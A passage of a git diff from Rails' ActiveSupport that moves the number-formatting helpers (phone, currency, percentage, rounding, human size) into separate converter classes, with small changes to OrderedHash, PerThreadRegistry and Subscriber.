- # %u is the storage unit, %n is the number (default: 2 MB)
- format: "%n %u",
- units: {
- byte: "Bytes",
- kb: "KB",
- mb: "MB",
- gb: "GB",
- tb: "TB"
- }
- },
- # Used in number_to_human
- decimal_units: {
- format: "%n %u",
- # Decimal units output formatting
- # By default we will only quantify some of the exponents
- # but the commented ones might be defined or overridden
- # by the user.
- units: {
- # femto: Quadrillionth
- # pico: Trillionth
- # nano: Billionth
- # micro: Millionth
- # mili: Thousandth
- # centi: Hundredth
- # deci: Tenth
- unit: "",
- # ten:
- # one: Ten
- # other: Tens
- # hundred: Hundred
- thousand: "Thousand",
- million: "Million",
- billion: "Billion",
- trillion: "Trillion",
- quadrillion: "Quadrillion"
- }
- }
- }
- }
-
- DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
- -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :NumberConverter
+ autoload :NumberToRoundedConverter
+ autoload :NumberToDelimitedConverter
+ autoload :NumberToHumanConverter
+ autoload :NumberToHumanSizeConverter
+ autoload :NumberToPhoneConverter
+ autoload :NumberToCurrencyConverter
+ autoload :NumberToPercentageConverter
+ end
- STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+ extend self
# Formats a +number+ into a US phone number (e.g., (555)
# 123-9876). You can customize the format in the +options+ hash.
@@ -137,27 +41,7 @@ module ActiveSupport
# number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
# # => +1.123.555.1234 x 1343
def number_to_phone(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- number = number.to_s.strip
- area_code = options[:area_code]
- delimiter = options[:delimiter] || "-"
- extension = options[:extension]
- country_code = options[:country_code]
-
- if area_code
- number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
- else
- number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
- number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
- end
-
- str = ''
- str << "+#{country_code}#{delimiter}" unless country_code.blank?
- str << number
- str << " x #{extension}" unless extension.blank?
- str
+ NumberToPhoneConverter.convert(number, options)
end
# Formats a +number+ into a currency string (e.g., $13.65). You
@@ -199,25 +83,7 @@ module ActiveSupport
# number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
# # => 1234567890,50 &pound;
def number_to_currency(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- currency = i18n_format_options(options[:locale], :currency)
- currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
-
- defaults = default_format_options(:currency).merge!(currency)
- defaults[:negative_format] = "-" + options[:format] if options[:format]
- options = defaults.merge!(options)
-
- unit = options.delete(:unit)
- format = options.delete(:format)
-
- if number.to_f.phase != 0
- format = options.delete(:negative_format)
- number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
- end
-
- format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+ NumberToCurrencyConverter.convert(number, options)
end
# Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -244,23 +110,16 @@ module ActiveSupport
#
# ==== Examples
#
- # number_to_percentage(100) # => 100.000%
- # number_to_percentage('98') # => 98.000%
- # number_to_percentage(100, precision: 0) # => 100%
- # number_to_percentage(1000, delimiter: '.', separator: ,') # => 1.000,000%
- # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
- # number_to_percentage(1000, locale: :fr) # => 1 000,000%
- # number_to_percentage('98a') # => 98a%
- # number_to_percentage(100, format: '%n %') # => 100 %
+ # number_to_percentage(100) # => 100.000%
+ # number_to_percentage('98') # => 98.000%
+ # number_to_percentage(100, precision: 0) # => 100%
+ # number_to_percentage(1000, delimiter: '.', separator: ',') # => 1.000,000%
+ # number_to_percentage(302.24398923423, precision: 5) # => 302.24399%
+ # number_to_percentage(1000, locale: :fr) # => 1 000,000%
+ # number_to_percentage('98a') # => 98a%
+ # number_to_percentage(100, format: '%n %') # => 100 %
def number_to_percentage(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :percentage)
- options = defaults.merge!(options)
-
- format = options[:format] || "%n%"
- format.gsub('%n', self.number_to_rounded(number, options))
+ NumberToPercentageConverter.convert(number, options)
end
# Formats a +number+ with grouped thousands using +delimiter+
@@ -289,15 +148,7 @@ module ActiveSupport
# number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
# # => 98 765 432,98
def number_to_delimited(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
-
- options = format_options(options[:locale]).merge!(options)
-
- parts = number.to_s.split('.')
- parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
- parts.join(options[:separator])
+ NumberToDelimitedConverter.convert(number, options)
end
# Formats a +number+ with the specified level of
@@ -340,39 +191,7 @@ module ActiveSupport
# number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
# # => 1.111,23
def number_to_rounded(number, options = {})
- return number unless valid_float?(number)
- number = Float(number)
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :precision)
- options = defaults.merge!(options)
-
- precision = options.delete :precision
- significant = options.delete :significant
- strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
- if significant && precision > 0
- if number == 0
- digits, rounded_number = 1, 0
- else
- digits = (Math.log10(number.abs) + 1).floor
- multiplier = 10 ** (digits - precision)
- rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
- digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
- end
- precision -= digits
- precision = 0 if precision < 0 # don't let it be negative
- else
- rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
- rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
- end
- formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
- if strip_insignificant_zeros
- escaped_separator = Regexp.escape(options[:separator])
- formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
- else
- formatted_number
- end
+ NumberToRoundedConverter.convert(number, options)
end
# Formats the bytes in +number+ into a more understandable
@@ -420,36 +239,7 @@ module ActiveSupport
# number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
# number_to_human_size(524288000, precision: 5) # => "500 MB"
def number_to_human_size(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
-
- base = options[:prefix] == :si ? 1000 : 1024
-
- if number.to_i < base
- unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
- storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
- else
- max_exp = STORAGE_UNITS.size - 1
- exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
- exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
- number /= base ** exponent
-
- unit_key = STORAGE_UNITS[exponent]
- unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
- formatted_number = self.number_to_rounded(number, options)
- storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
- end
+ NumberToHumanSizeConverter.convert(number, options)
end
# Pretty prints (formats and approximates) a number in a way it
@@ -460,7 +250,7 @@ module ActiveSupport
# See <tt>number_to_human_size</tt> if you want to print a file
# size.
#
- # You can also define you own unit-quantifier names if you want
+ # You can also define your own unit-quantifier names if you want
# to use other decimal units (eg.: 1500 becomes "1.5
# kilometers", 0.150 becomes "150 milliliters", etc). You may
# define a wide range of unit quantifiers, even fractional ones
@@ -550,88 +340,7 @@ module ActiveSupport
# number_to_human(1, units: :distance) # => "1 meter"
# number_to_human(0.34, units: :distance) # => "34 centimeters"
def number_to_human(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- inverted_du = DECIMAL_UNITS.invert
-
- units = options.delete :units
- unit_exponents = case units
- when Hash
- units
- when String, Symbol
- I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
- when nil
- translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
- else
- raise ArgumentError, ":units must be a Hash or String translation scope."
- end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
-
- number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
- display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
- number /= 10 ** display_exponent
-
- unit = case units
- when Hash
- units[DECIMAL_UNITS[display_exponent]] || ''
- when String, Symbol
- I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- else
- translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- end
-
- decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
- formatted_number = self.number_to_rounded(number, options)
- decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
- end
-
- def self.private_module_and_instance_method(method_name) #:nodoc:
- private method_name
- private_class_method method_name
- end
- private_class_method :private_module_and_instance_method
-
- def format_options(locale, namespace = nil) #:nodoc:
- default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
- end
- private_module_and_instance_method :format_options
-
- def default_format_options(namespace = nil) #:nodoc:
- options = DEFAULTS[:format].dup
- options.merge!(DEFAULTS[namespace][:format]) if namespace
- options
- end
- private_module_and_instance_method :default_format_options
-
- def i18n_format_options(locale, namespace = nil) #:nodoc:
- options = I18n.translate(:'number.format', locale: locale, default: {}).dup
- if namespace
- options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
- end
- options
- end
- private_module_and_instance_method :i18n_format_options
-
- def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
- default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
-
- I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
- end
- private_module_and_instance_method :translate_number_value_with_default
-
- def valid_float?(number) #:nodoc:
- Float(number)
- rescue ArgumentError, TypeError
- false
+ NumberToHumanConverter.convert(number, options)
end
- private_module_and_instance_method :valid_float?
end
end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000000..9d976f1831
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,182 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+require 'active_support/core_ext/class/attribute'
+
+module ActiveSupport
+ module NumberHelper
+ class NumberConverter # :nodoc:
+ # Default and i18n option namespace per class
+ class_attribute :namespace
+
+ # Does the object need a number that is a valid float?
+ class_attribute :validate_float
+
+ attr_reader :number, :opts
+
+ DEFAULTS = {
+ # Used in number_to_delimited
+ # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+ format: {
+ # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+ separator: ".",
+ # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+ delimiter: ",",
+ # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+ precision: 3,
+ # If set to true, precision will mean the number of significant digits instead
+ # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+ significant: false,
+ # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+ strip_insignificant_zeros: false
+ },
+
+ # Used in number_to_currency
+ currency: {
+ format: {
+ format: "%u%n",
+ negative_format: "-%u%n",
+ unit: "$",
+ # These five are to override number.format and are optional
+ separator: ".",
+ delimiter: ",",
+ precision: 2,
+ significant: false,
+ strip_insignificant_zeros: false
+ }
+ },
+
+ # Used in number_to_percentage
+ percentage: {
+ format: {
+ delimiter: "",
+ format: "%n%"
+ }
+ },
+
+ # Used in number_to_rounded
+ precision: {
+ format: {
+ delimiter: ""
+ }
+ },
+
+ # Used in number_to_human_size and number_to_human
+ human: {
+ format: {
+ # These five are to override number.format and are optional
+ delimiter: "",
+ precision: 3,
+ significant: true,
+ strip_insignificant_zeros: true
+ },
+ # Used in number_to_human_size
+ storage_units: {
+ # Storage units output formatting.
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u",
+ units: {
+ byte: "Bytes",
+ kb: "KB",
+ mb: "MB",
+ gb: "GB",
+ tb: "TB"
+ }
+ },
+ # Used in number_to_human
+ decimal_units: {
+ format: "%n %u",
+ # Decimal units output formatting
+ # By default we will only quantify some of the exponents
+ # but the commented ones might be defined or overridden
+ # by the user.
+ units: {
+ # femto: Quadrillionth
+ # pico: Trillionth
+ # nano: Billionth
+ # micro: Millionth
+ # mili: Thousandth
+ # centi: Hundredth
+ # deci: Tenth
+ unit: "",
+ # ten:
+ # one: Ten
+ # other: Tens
+ # hundred: Hundred
+ thousand: "Thousand",
+ million: "Million",
+ billion: "Billion",
+ trillion: "Trillion",
+ quadrillion: "Quadrillion"
+ }
+ }
+ }
+ }
+
+ def self.convert(number, options)
+ new(number, options).execute
+ end
+
+ def initialize(number, options)
+ @number = number
+ @opts = options.symbolize_keys
+ end
+
+ def execute
+ if !number
+ nil
+ elsif validate_float? && !valid_float?
+ number
+ else
+ convert
+ end
+ end
+
+ private
+
+ def options
+ @options ||= format_options.merge(opts)
+ end
+
+ def format_options #:nodoc:
+ default_format_options.merge!(i18n_format_options)
+ end
+
+ def default_format_options #:nodoc:
+ options = DEFAULTS[:format].dup
+ options.merge!(DEFAULTS[namespace][:format]) if namespace
+ options
+ end
+
+ def i18n_format_options #:nodoc:
+ locale = opts[:locale]
+ options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+ if namespace
+ options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+ end
+
+ options
+ end
+
+ def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+ I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+ end
+
+ def translate_in_locale(key, i18n_options = {})
+ translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+ end
+
+ def default_value(key)
+ key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+ end
+
+ def valid_float? #:nodoc:
+ Float(number)
+ rescue ArgumentError, TypeError
+ false
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000000..9ae27a896a
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToCurrencyConverter < NumberConverter # :nodoc:
+ self.namespace = :currency
+
+ def convert
+ number = self.number.to_s.strip
+ format = options[:format]
+
+ if is_negative?(number)
+ format = options[:negative_format]
+ number = absolute_value(number)
+ end
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub('%n', rounded_number).gsub('%u', options[:unit])
+ end
+
+ private
+
+ def is_negative?(number)
+ number.to_f.phase != 0
+ end
+
+ def absolute_value(number)
+ number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '')
+ end
+
+ def options
+ @options ||= begin
+ defaults = default_format_options.merge(i18n_opts)
+ # Override negative format if format options is given
+ defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+ defaults.merge!(opts)
+ end
+ end
+
+ def i18n_opts
+ # Set International negative format if not exists
+ i18n = i18n_format_options
+ i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+ i18n
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000000..6405afc9a6
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,21 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToDelimitedConverter < NumberConverter #:nodoc:
+ self.validate_float = true
+
+ DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+ def convert
+ parts.join(options[:separator])
+ end
+
+ private
+
+ def parts
+ left, right = number.to_s.split('.')
+ left.gsub!(DELIMITED_REGEX) { "#{$1}#{options[:delimiter]}" }
+ [left, right].compact
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000000..9a3dc526ae
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,66 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanConverter < NumberConverter # :nodoc:
+ DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+ -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+ INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert # :nodoc:
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ units = opts[:units]
+ exponent = calculate_exponent(units)
+ @number = number / (10 ** exponent)
+
+ unit = determine_unit(units, exponent)
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip
+ end
+
+ private
+
+ def format
+ options[:format] || translate_in_locale('human.decimal_units.format')
+ end
+
+ def determine_unit(units, exponent)
+ exp = DECIMAL_UNITS[exponent]
+ case units
+ when Hash
+ units[exp] || ''
+ when String, Symbol
+ I18n.translate("#{units}.#{exp}", :locale => options[:locale], :count => number.to_i)
+ else
+ translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+ end
+ end
+
+ def calculate_exponent(units)
+ exponent = number != 0 ? Math.log10(number.abs).floor : 0
+ unit_exponents(units).find { |e| exponent >= e } || 0
+ end
+
+ def unit_exponents(units)
+ case units
+ when Hash
+ units
+ when String, Symbol
+ I18n.translate(units.to_s, :locale => options[:locale], :raise => true)
+ when nil
+ translate_in_locale("human.decimal_units.units", raise: true)
+ else
+ raise ArgumentError, ":units must be a Hash or String translation scope."
+ end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by { |e| -e }
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000000..78d2c9ae6e
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,58 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanSizeConverter < NumberConverter #:nodoc:
+ STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ if smaller_than_base?
+ number_to_format = number.to_i.to_s
+ else
+ human_size = number / (base ** exponent)
+ number_to_format = NumberToRoundedConverter.convert(human_size, options)
+ end
+ conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit)
+ end
+
+ private
+
+ def conversion_format
+ translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+ end
+
+ def unit
+ translate_number_value_with_default(storage_unit_key, :locale => options[:locale], :count => number.to_i, :raise => true)
+ end
+
+ def storage_unit_key
+ key_end = smaller_than_base? ? 'byte' : STORAGE_UNITS[exponent]
+ "human.storage_units.units.#{key_end}"
+ end
+
+ def exponent
+ max = STORAGE_UNITS.size - 1
+ exp = (Math.log(number) / Math.log(base)).to_i
+ exp = max if exp > max # avoid overflow for the highest unit
+ exp
+ end
+
+ def smaller_than_base?
+ number.to_i < base
+ end
+
+ def base
+ opts[:prefix] == :si ? 1000 : 1024
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000000..eafe2844f7
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,12 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPercentageConverter < NumberConverter # :nodoc:
+ self.namespace = :percentage
+
+ def convert
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ options[:format].gsub('%n', rounded_number)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000000..af2ee56d91
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,49 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPhoneConverter < NumberConverter #:nodoc:
+ def convert
+ str = country_code(opts[:country_code])
+ str << convert_to_phone_number(number.to_s.strip)
+ str << phone_ext(opts[:extension])
+ end
+
+ private
+
+ def convert_to_phone_number(number)
+ if opts[:area_code]
+ convert_with_area_code(number)
+ else
+ convert_without_area_code(number)
+ end
+ end
+
+ def convert_with_area_code(number)
+ number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+ number
+ end
+
+ def convert_without_area_code(number)
+ number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.slice!(0, 1) if start_with_delimiter?(number)
+ number
+ end
+
+ def start_with_delimiter?(number)
+ delimiter.present? && number.start_with?(delimiter)
+ end
+
+ def delimiter
+ opts[:delimiter] || "-"
+ end
+
+ def country_code(code)
+ code.blank? ? "" : "+#{code}#{delimiter}"
+ end
+
+ def phone_ext(ext)
+ ext.blank? ? "" : " x #{ext}"
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000000..c45f6cdcfa
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,91 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToRoundedConverter < NumberConverter # :nodoc:
+ self.namespace = :precision
+ self.validate_float = true
+
+ def convert
+ precision = options.delete :precision
+ significant = options.delete :significant
+
+ case number
+ when Float, String
+ @number = BigDecimal(number.to_s)
+ when Rational
+ if significant
+ @number = BigDecimal(number, digit_count(number.to_i) + precision)
+ else
+ @number = BigDecimal(number, precision)
+ end
+ else
+ @number = number.to_d
+ end
+
+ if significant && precision > 0
+ digits, rounded_number = digits_and_rounded_number(precision)
+ precision -= digits
+ precision = 0 if precision < 0 # don't let it be negative
+ else
+ rounded_number = number.round(precision)
+ rounded_number = rounded_number.to_i if precision == 0
+ rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+ end
+
+ formatted_string =
+ if BigDecimal === rounded_number && rounded_number.finite?
+ s = rounded_number.to_s('F') + '0'*precision
+ a, b = s.split('.', 2)
+ a + '.' + b[0, precision]
+ else
+ "%01.#{precision}f" % rounded_number
+ end
+
+ delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
+ format_number(delimited_number)
+ end
+
+ private
+
+ def digits_and_rounded_number(precision)
+ if zero?
+ [1, 0]
+ else
+ digits = digit_count(number)
+ multiplier = 10 ** (digits - precision)
+ rounded_number = calculate_rounded_number(multiplier)
+ digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+ [digits, rounded_number]
+ end
+ end
+
+ def calculate_rounded_number(multiplier)
+ (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+ end
+
+ def digit_count(number)
+ (Math.log10(absolute_number(number)) + 1).floor
+ end
+
+ def strip_insignificant_zeros
+ options[:strip_insignificant_zeros]
+ end
+
+ def format_number(number)
+ if strip_insignificant_zeros
+ escaped_separator = Regexp.escape(options[:separator])
+ number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+ else
+ number
+ end
+ end
+
+ def absolute_number(number)
+ number.respond_to?(:abs) ? number.abs : number.to_d.abs
+ end
+
+ def zero?
+ number.respond_to?(:zero?) ? number.zero? : number.to_d.zero?
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
index e55ffd12c3..dea84e437f 100644
--- a/activesupport/lib/active_support/option_merger.rb
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -12,7 +12,7 @@ module ActiveSupport
private
def method_missing(method, *arguments, &block)
- if arguments.last.is_a?(Proc)
+ if arguments.first.is_a?(Proc)
proc = arguments.pop
arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
else
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 1a3693f766..4680d5acb7 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -28,6 +28,14 @@ module ActiveSupport
coder.represent_seq '!omap', map { |k,v| { k => v } }
end
+ def select(*args, &block)
+ dup.tap { |hash| hash.select!(*args, &block) }
+ end
+
+ def reject(*args, &block)
+ dup.tap { |hash| hash.reject!(*args, &block) }
+ end
+
def nested_under_indifferent_access
self
end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
index e03bb4ca0f..a33e2c58a9 100644
--- a/activesupport/lib/active_support/ordered_options.rb
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -41,7 +41,7 @@ module ActiveSupport
end
# +InheritableOptions+ provides a constructor to build an +OrderedOptions+
- # hash inherited from the another hash.
+ # hash inherited from another hash.
#
# Use this if you already have some hash and you want to create a new one based on it.
#
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
index aa682fb36c..ca2e4d5625 100644
--- a/activesupport/lib/active_support/per_thread_registry.rb
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -32,21 +32,22 @@ module ActiveSupport
#
# If the class has an initializer, it must accept no arguments.
module PerThreadRegistry
- protected
+ def self.extended(object)
+ object.instance_variable_set '@per_thread_registry_key', object.name.freeze
+ end
+
+ def instance
+ Thread.current[@per_thread_registry_key] ||= new
+ end
+ protected
def method_missing(name, *args, &block) # :nodoc:
# Caches the method definition as a singleton method of the receiver.
define_singleton_method(name) do |*a, &b|
- per_thread_registry_instance.public_send(name, *a, &b)
+ instance.public_send(name, *a, &b)
end
send(name, *args, &block)
end
-
- private
-
- def per_thread_registry_instance
- Thread.current[name] ||= new
- end
end
end
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
index 9a038dfbca..a7eba91ac5 100644
--- a/activesupport/lib/active_support/rescuable.rb
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -1,6 +1,5 @@
require 'active_support/concern'
require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/proc'
require 'active_support/core_ext/string/inflections'
require 'active_support/core_ext/array/extract_options'
diff --git a/activesupport/lib/active_support/subscriber.rb b/activesupport/lib/active_support/subscriber.rb
index 34c6f900c1..4b9b48539f 100644
--- a/activesupport/lib/active_support/subscriber.rb
+++ b/activesupport/lib/active_support/subscriber.rb
@@ -31,18 +31,41 @@ module ActiveSupport
# Attach the subscriber to a namespace.
def attach_to(namespace, subscriber=new, notifier=ActiveSupport::Notifications)
+ @namespace = namespace
+ @subscriber = subscriber
+ @notifier = notifier
+
subscribers << subscriber
+ # Add event subscribers for all existing methods on the class.
subscriber.public_methods(false).each do |event|
- next if %w{ start finish }.include?(event.to_s)
+ add_event_subscriber(event)
+ end
+ end
- notifier.subscribe("#{event}.#{namespace}", subscriber)
+ # Adds event subscribers for all new methods added to the class.
+ def method_added(event)
+ # Only public methods are added as subscribers, and only if a notifier
+ # has been set up. This means that subscribers will only be set up for
+ # classes that call #attach_to.
+ if public_method_defined?(event) && notifier
+ add_event_subscriber(event)
end
end
def subscribers
@@subscribers ||= []
end
+
+ protected
+
+ attr_reader :subscriber, :notifier, :namespace
+
+ def add_event_subscriber(event)
+ return if %w{ start finish }.include?(event.to_s)
+
+ notifier.subscribe("#{event}.#{namespace}", subscriber)
+ end
end
def initialize
@@ -71,7 +94,7 @@ module ActiveSupport
private
